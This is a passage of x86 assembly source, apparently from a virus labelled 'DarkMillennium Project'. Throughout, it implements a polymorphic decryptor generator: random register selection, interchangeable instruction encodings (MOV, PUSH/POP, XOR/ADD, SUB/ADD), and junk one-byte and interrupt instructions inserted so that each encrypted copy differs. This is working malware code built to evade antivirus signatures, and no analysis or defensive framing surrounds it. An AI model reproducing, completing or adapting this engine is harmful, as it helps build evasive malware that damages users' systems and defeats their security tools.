lea eax, key
mov byte ptr [esi], al
mov ax, 9090h
stosw
nop
nop
nop
nop
nop
; Generate random junk to fill the space after decryptor
lea esi, [ebp + Encr_Code - Start]
xchg ebp, edi
fill_junk: push esi
call GenerateOneByteJunk
pop esi
cmp ebp, esi
jl fill_junk
xchg ebp, edi
xchg ebp, edi
ret
var1 dd 0 ; keep location of INC DI line
var2 dd 0 ; keep location of LEA ESI, key instruction + 1
var3 dd 0 ; keep location of the second LEA ESI, key instruction + 1
var4 dd 0 ; keep location of XOR [ESI], DI instruction
GenDecryptor endp
; Init register generator
;
InitRegGenerator proc
mov byte ptr [ebp + reg_1 - Start], 0F0h
mov byte ptr [ebp + reg_2 - Start], 0F0h
mov byte ptr [ebp + reg_3 - Start], 0F0h
mov byte ptr [ebp + reg_key - Start], 0F0h
mov byte ptr [ebp + reg_fuck_1 - Start], 0F0h
mov byte ptr [ebp + reg_fuck_2 - Start], 0F0h
ret
InitRegGenerator endp
; Generate registers for use in decryptor
;
GenerateRegisters proc
pushad
; Generate reg, not ESP, not EBP
get_reg_1: mov eax, 8
call random_in_range
cmp al, 4 ; no ESP
jz get_reg_1
cmp al, 5 ; no EBP
jz get_reg_1
cmp al, byte ptr [ebp + reg_key - Start]
jz get_reg_1
mov byte ptr [ebp + reg_1 - Start], al ; save reg value for later use
; Generate reg2, not ESP, not EBP, <> reg1
get_reg_2: mov eax, 8
call random_in_range
cmp al, 4 ; no ESP
jz get_reg_2
cmp al, 5 ; no EBP
jz get_reg_2
cmp al, byte ptr [ebp + reg_1 - Start]
jz get_reg_2
cmp al, byte ptr [ebp + reg_key - Start]
jz get_reg_1
mov byte ptr [ebp + reg_2 - Start], al
; Generate reg3, not ESP, not EBP, <> reg1, <> reg2
get_reg_3: mov eax, 8
call random_in_range
cmp al, 4 ; no ESP
jz get_reg_3
cmp al, 5 ; no EBP
jz get_reg_3
cmp al, byte ptr [ebp + reg_1 - Start]
jz get_reg_3
cmp al, byte ptr [ebp + reg_2 - Start]
jz get_reg_3
cmp al, byte ptr [ebp + reg_key - Start]
jz get_reg_1
mov byte ptr [ebp + reg_3 - Start], al
popad
ret
GenerateRegisters endp
; Generate 2 registers, different from the other registers used
;
GenerateFuckRegs proc
pushad
get_reg_fuck_1:
mov eax, 8
call random_in_range
cmp al, 4 ; no ESP
jz get_reg_fuck_1
cmp al, 5 ; no EBP
jz get_reg_fuck_1
cmp al, byte ptr [ebp + reg_1 - Start]
jz get_reg_fuck_1
cmp al, byte ptr [ebp + reg_2 - Start]
jz get_reg_fuck_1
cmp al, byte ptr [ebp + reg_3 - Start]
jz get_reg_fuck_1
cmp al, byte ptr [ebp + reg_key - Start]
jz get_reg_fuck_1
mov byte ptr [ebp + reg_fuck_1 - Start], al
get_reg_fuck_2:
mov eax, 15
call random_in_range
cmp al, 7
jg ch_FFh
cmp al, 4 ; no ESP
jz get_reg_fuck_2
cmp al, 5 ; no EBP
jz get_reg_fuck_2
cmp al, byte ptr [ebp + reg_1 - Start]
jz get_reg_fuck_2
cmp al, byte ptr [ebp + reg_2 - Start]
jz get_reg_fuck_2
cmp al, byte ptr [ebp + reg_3 - Start]
jz get_reg_fuck_2
cmp al, byte ptr [ebp + reg_fuck_1 - Start]
jz get_reg_fuck_2
cmp al, byte ptr [ebp + reg_key - Start]
jz get_reg_fuck_2
mov byte ptr [ebp + reg_fuck_2 - Start], al
GenerateFuckRegs_Exit:
popad
ret
ch_FFh: mov al, 0FFh
mov byte ptr [ebp + reg_fuck_2 - Start], al
jmp GenerateFuckRegs_Exit
GenerateFuckRegs endp
; Generate MOV reg1, reg2/[reg2]/val like instructions
; EBP = location for code
; CL = reg1
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
; ( in this case AH value will be ignored, no direct mem read like
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
; AL = type of registry to use 0 = word ( AX, BX ... )
; 1 = dword ( EAX, EBX ... )
; byte registers are not used in my decryptor
; AH = 0 use direct value ( EAX ... )
; 1 use memory address from register ( [EAX], [ESI] ... )
; EDX = use this value instead of reg2 in case CH = 0FFh
;
GenPutX1X2 proc
push eax ecx edx
lea eax, [edi + offset GenMovType - Start]
mov [edi + MovType - Start], eax
lea eax, [edi + offset GenPushPopType - Start]
mov [edi + PushPopType - Start], eax
lea eax, [edi + offset GenXorAddType - Start]
mov [edi + XorAddType - Start], eax
lea eax, [edi + offset GenSubAddType - Start]
mov [edi + SubAddType - Start], eax
mov eax, (offset EndPutX1X2Table - offset PutX1X2Table) / 4
call random_in_range
mov esi, 4
mul esi
xchg esi, eax
add esi, edi
add esi, offset PutX1X2Table - offset Start
mov ebx, dword ptr [esi]
pop edx ecx eax
call ebx
ret
GenPutX1X2 endp
; Decryptor Junk instructions
; EBP = location for junk
GenerateJunk proc
lea eax, [edi + offset GenerateOneByteJunk - Start]
mov [edi + OneByteJunk - Start], eax
lea eax, [edi + offset GenerateINTs - Start]
mov [edi + INTs - Start], eax
lea eax, [edi + offset GenNothing - Start]
mov [edi + _Nothing - Start], eax
lea eax, [edi + offset GenRndPutX1X2 - Start]
mov [edi + RndPutX1X2 - Start], eax
mov eax, (offset EndRandomJunkTable - offset RandomJunkTable) / 4
call random_in_range
mov esi, 4
mul esi
xchg esi, eax
add esi, edi
add esi, offset RandomJunkTable - offset Start
mov eax, dword ptr [esi]
call eax
ret
GenerateJunk endp
; Generate one byte instruction, put it in [EBP] and increase EBP with 1
; EBP = location for generated code
GenerateOneByteJunk proc
lea esi, [edi + OneByteTable - Start] ; Offset of the table
mov eax, offset EndOneByteTable - offset OneByteTable ; size of table
call random_in_range ; Must generate random numbers
add esi, eax ; Add AX ( AL ) to the offset
mov al, byte ptr [esi] ; Put selected opcode in al
xchg ebp, edi
stosb ; And store it in EDI ( points to
; the decryptor instructions )
xchg ebp, edi
ret
GenerateOneByteJunk endp
; Generate INT calls and increase edi with 2
; EBP = location for generated code
GenerateINTs proc
lea esi, [edi + INTsTable - Start]
mov eax, offset EndINTsTable - offset INTsTable
call random_in_range
add esi, eax
mov ah, byte ptr [esi]
mov al, 0CDh
xchg ebp, edi
stosw
xchg ebp, edi
ret
GenerateINTs endp
; Generate NOTHING
; EBP = location for generated code
GenNothing proc
ret
GenNothing endp
; The same with GenPutX1X2 but with random registers and/or values
; NOTE : the registers are not the ones that are already in use
GenRndPutX1X2 proc
xchg ebp, edi
; random in EDX
mov eax, 0FFFFh
call random_in_range
mov dx, ax
shl edx, 10h
mov eax, 0FFFFh
call random_in_range
mov dx, ax
; random types
mov eax, 2
call random_in_range
mov bl, al
mov bh, 00h ; registers like [EAX], [EBX] ... will not be generated, only EAX, EBX ...
; 'cause it will give Access Violation in most of the cases
mov ax, bx
call GenerateFuckRegs
mov cl, byte ptr [ebp + reg_fuck_1 - Start]
mov ch, byte ptr [ebp + reg_fuck_2 - Start]
xchg ebp, edi
call GenPutX1X2
ret
GenRndPutX1X2 endp
; Generate MOV instructions
; Generate MOV reg1, reg2/[reg2]/val like instructions
; EBP = location for code
; CL = reg1
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
; ( in this case AH value will be ignored, no direct mem read like
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
; AL = type of registry to use 0 = word ( AX, BX ... )
; 1 = dword ( EAX, EBX ... )
; byte registers are not used in my decryptor
; AH = 0 use direct value ( EAX ... )
; 1 use memory address from register ( [EAX], [ESI] ... )
; EDX = use this value instead of reg2 in case CH = 0FFh
;
GenMovType proc
xchg ebp, edi
cmp ch, 0FFh
jne not_val
jmp use_val
not_val: cmp ch, 04h
jnz not_esp
jmp mov_esp
not_esp: cmp ch, 05h
jnz not_ebp
jmp mov_ebp
not_ebp: cmp al, 0
jz word_type
cmp al, 1
jz dword_type
jmp MovType_End
word_type: ; reg1 = word reg
cmp ah, 1
jz word_type1
; MOV reg1, reg2
mov ax, 8B66h
stosw
mov al, cl
mov bl, 8
mul bl
add al, ch
add al, 0C0h
stosb
jmp MovType_End
word_type1: ; MOV reg1, [reg2]
mov ax, 8B66h
stosw
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp MovType_End
dword_type: ; reg1 = dword reg
cmp ah, 1
jz dword_type1
; MOV reg1, reg2
mov al, 08Bh
stosb
mov al, cl
mov bl, 8
mul bl
add al, ch
add al, 0C0h
stosb
jmp MovType_End
dword_type1: ; MOV reg1, [reg2]
mov al, 8Bh
stosb
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp MovType_End
mov_esp: ; MOV reg1, ESP/[ESP]
mov al, 8Bh
stosb
cmp ah, 0
jz mov_esp2
; MOV reg1, [ESP]
mov al, cl
mov bl, 8
mul bl
add al, 04h
stosb
mov al, 24h
stosb
jmp MovType_End
; MOV reg1, ESP
mov_esp2: mov al, cl
mov bl, 8
mul bl
add al, 0C4h
stosb
jmp MovType_End
mov_ebp: ; MOV reg1, EBP/[EBP]
mov al, 8Bh
stosb
cmp ah, 0
jz mov_ebp2
; MOV reg1, [EBP]
mov al, cl
mov bl, 8
mul bl
add al, 45h
stosb
mov al, 00h
stosb
; MOV reg1, EBP
mov_ebp2: mov al, cl
mov bl, 8
mul bl
add al, 0C5h
stosb
jmp MovType_End
MovType_End: xchg ebp, edi
ret
use_val: cmp al, 0
jne use_val_
mov al, 66h
stosb
mov al, 0B8h
add al, cl
stosb
mov ax, dx
stosw
jmp MovType_End
use_val_: mov al, 0B8h
add al, cl
stosb
mov eax, edx
stosd
jmp MovType_End
GenMovType endp
; Generate PUSH reg2/[reg2]/val ... POP reg1 ( = MOV reg1, reg2/[reg2]/val )
; EBP = location for code
; CL = reg1 (PUSH reg1)
; CH = reg2 (POP reg2)
; ( if CH = 0FFh then use value from EDX instead of reg2 )
; ( in this case AH value will be ignored, no direct mem read like
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
; AL = type of registry to use 0 = word ( AX, BX ... )
; 1 = dword ( EAX, EBX ... )
; byte registers are not used in my decryptor
; AH = 0 use direct value ( EAX ... )
; 1 use memory address from register ( [EAX], [ESI] ... )
; EDX = use this value instead of reg2 in case CH = 0FFh
;
GenPushPopType proc
xchg ebp, edi
cmp ch, 0FFh
jnz not_val_2
push ax
jmp use_val_2
not_val_2: push ax
cmp al, 0
jnz not_wordreg
mov al, 66h
stosb
not_wordreg: cmp ah, 0
jz not_ebp_
cmp ch, 04h
jnz not_esp_
jmp push_esp
not_esp_: cmp ch, 05h
jnz not_ebp_
jmp push_ebp
not_ebp_: cmp ah, 1
jz push_type1
; PUSH reg2
mov al, 50h
add al, ch
stosb
jmp Pop_reg1
push_type1: ; PUSH [reg2]
mov al, 0FFh
stosb
mov al, 30h
add al, ch
stosb
; POP reg1
pop ax
cmp al, 0
jnz not_wordreg__
mov al, 66h
stosb
not_wordreg__: mov al, 58h
add al, cl
stosb
jmp PushPopType_End
push_esp: ; PUSH [ESP] (reg2)
mov ax, 34FFh
stosw
mov al, 24h
stosb
jmp Pop_reg1
push_ebp: ; PUSH [EBP] (reg2)
mov ax, 75FFh
stosw
mov al, 00h
stosb
Pop_reg1: ; POP reg1
pop ax
cmp al, 0
jnz not_wordreg_
mov al, 66h
stosb
not_wordreg_: mov al, 58h
add al, cl
stosb
PushPopType_End:xchg ebp, edi
ret
use_val_2: cmp al, 0
jnz not_wordreg___
; PUSH val
mov ax, 6866h
stosw
mov ax, dx
stosw
mov ch, cl
jmp Pop_reg1
not_wordreg___: mov al, 68h
stosb
mov eax, edx
stosd
pop ax
mov al, 1
mov ch, cl
push ax
jmp Pop_reg1
GenPushPopType endp
; Generate XOR reg1, reg1 ... ADD reg1, reg2/[reg2]/val ( = MOV reg1, reg2/[reg2]/val )
; EBP = location for code
; CL = reg1
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
; ( in this case AH value will be ignored, no direct mem read like
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
; AL = type of registry to use 0 = word ( AX, BX ... )
; 1 = dword ( EAX, EBX ... )
; byte registers are not used in my decryptor
; AH = 0 use direct value ( EAX ... )
; 1 use memory address from register ( [EAX], [ESI] ... )
; EDX = use this value instead of reg2 in case CH = 0FFh
;
GenXorAddType proc
xchg ebp, edi
cmp ch, 0FFh
jnz not_val_3
jmp use_val_3
not_val_3: push ax
cmp al, 0
jnz not_wordreg_2
jmp wordreg_2
not_wordreg_2: ; XOR reg1, reg1
mov al, 33h
stosb
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb
pop ax
cmp ah, 0
jz dwordreg_2
cmp ch, 4 ; ESP ?
jz add_esp
cmp ch, 5 ; EBP ?
jz add_ebp
; ADD reg1, [reg2]
mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp GenXorAddType_End
; ADD reg1, [ESP]
add_esp: mov al, 03h
stosb
mov al, cl
mov bl, 9
mul bl
add al, 04h
stosb
mov al, 24h
stosb
jmp GenSubAddType_End
; ADD reg1, [EBP]
add_ebp: mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, 45h
stosb
jmp GenSubAddType_End
dwordreg_2: ; ADD reg1, reg2
mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, 0C0h
add al, ch
stosb
jmp GenXorAddType_End
wordreg_2: ; XOR reg1, reg1
mov ax, 3366h
stosw
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb
pop ax
cmp ah, 0
jz wordreg_2_
; ADD reg1, [reg2]
mov ax, 0366h
stosw
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp GenXorAddType_End
wordreg_2_: ; ADD reg1, reg2
mov ax, 0366h
stosw
mov al, cl
mov bl, 8
mul bl
add al, 0C0h
add al, ch
stosb
jmp GenXorAddType_End
use_val_3: ; XOR reg1, reg1
mov al, 33h
stosb
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb
; ADD reg1, val
mov al, 81h
stosb
mov al, 0C0h
add al, cl
stosb
mov eax, edx
stosd
GenXorAddType_End:
xchg ebp, edi
ret
GenXorAddType endp
; Generate SUB reg1, reg1 ... ADD reg1, reg2/[reg2]/val
; EBP = location for code
; CL = reg1
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
; ( in this case AH value will be ignored, no direct mem read like
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
; AL = type of registry to use 0 = word ( AX, BX ... )
; 1 = dword ( EAX, EBX ... )
; byte registers are not used in my decryptor
; AH = 0 use direct value ( EAX ... )
; 1 use memory address from register ( [EAX], [ESI] ... )
; EDX = use this value instead of reg2 in case CH = 0FFh
;
GenSubAddType proc
xchg ebp, edi
cmp ch, 0FFh
jnz not_val_4
jmp use_val_4
not_val_4: push ax
cmp al, 0
jnz not_wordreg_3
jmp wordreg_3
not_wordreg_3: ; SUB reg1, reg1
mov al, 2Bh
stosb
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb
pop ax
cmp ah, 0
jz dwordreg_3
cmp ch, 4 ; ESP ?
jz add_esp_
cmp ch, 5 ; EBP ?
jz add_ebp_
; ADD reg1, [reg2]
mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp GenSubAddType_End
; ADD reg1, [ESP]
add_esp_: mov al, 03h
stosb
mov al, cl
mov bl, 9
mul bl
add al, 04h
stosb
mov al, 24h
stosb
jmp GenSubAddType_End
; ADD reg1, [EBP]
add_ebp_: mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, 45h
stosb
jmp GenSubAddType_End
dwordreg_3: ; ADD reg1, reg2
mov al, 03h
stosb
mov al, cl
mov bl, 8
mul bl
add al, 0C0h
add al, ch
stosb
jmp GenSubAddType_End
wordreg_3: ; SUB reg1, reg1
mov ax, 2B66h
stosw
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb
pop ax
cmp ah, 0
jz wordreg_3_
; ADD reg1, [reg2]
mov ax, 0366h
stosw
mov al, cl
mov bl, 8
mul bl
add al, ch
stosb
jmp GenSubAddType_End
wordreg_3_: ; ADD reg1, reg2
mov ax, 0366h
stosw
mov al, cl
mov bl, 8
mul bl
add al, 0C0h
add al, ch
stosb
jmp GenSubAddType_End
use_val_4: ; SUB reg1, reg1
mov al, 2Bh
stosb
mov al, cl
mov bl, 9
mul bl
add al, 0C0h
stosb
; ADD reg1, val
mov al, 81h
stosb
mov al, 0C0h
add al, cl
stosb
mov eax, edx
stosd
GenSubAddType_End:
xchg ebp, edi
ret
GenSubAddType endp
; Return a random number in AX, between 0 and AX-1
random_in_range proc
push bx dx
xchg ax, bx
call get_rnd
xor dx, dx
div bx
xchg ax, dx
pop dx bx
ret
random_in_range endp
; Tables
RandomJunkTable:
OneByteJunk dd offset GenerateOneByteJunk
INTs dd offset GenerateINTs
_Nothing dd offset GenNothing
RndPutX1X2 dd offset GenRndPutX1X2
EndRandomJunkTable:
OneByteTable: db 090h ; nop
db 0F8h ; clc
db 0F9h ; stc
db 0F5h ; cmc
; db 0CCh ; int 3h
; db 098h ; cbw
; db 099h ; cwd
EndOneByteTable:
INTsTable: ;db 01h
db 08h
db 0Ah
db 0Bh
db 0Ch
; db 0Dh
db 0Eh
db 0Fh
; db 1Ch
db 28h
db 2Bh
db 2Ch
db 2Dh
db 70h
db 71h
db 72h
db 73h
db 74h
; db 75h
db 76h
db 77h
; those with ; before'em will generate an error (ussualy a blue screen)
EndINTsTable:
PutX1X2Table:
MovType dd offset GenMovType
PushPopType dd offset GenPushPopType
XorAddType dd offset GenXorAddType
SubAddType dd offset GenSubAddType
EndPutX1X2Table:
regsTable:
reg_1 db 0
reg_2 db 0
reg_3 db 0
reg_key db 0
reg_fuck_1 db 0
reg_fuck_2 db 0
regsTableEnd:
_end:
gfx_buffer db 10Dh dup (0)
_end_2:
w_title db 'DarkMillennium Project', 0
end Begin
end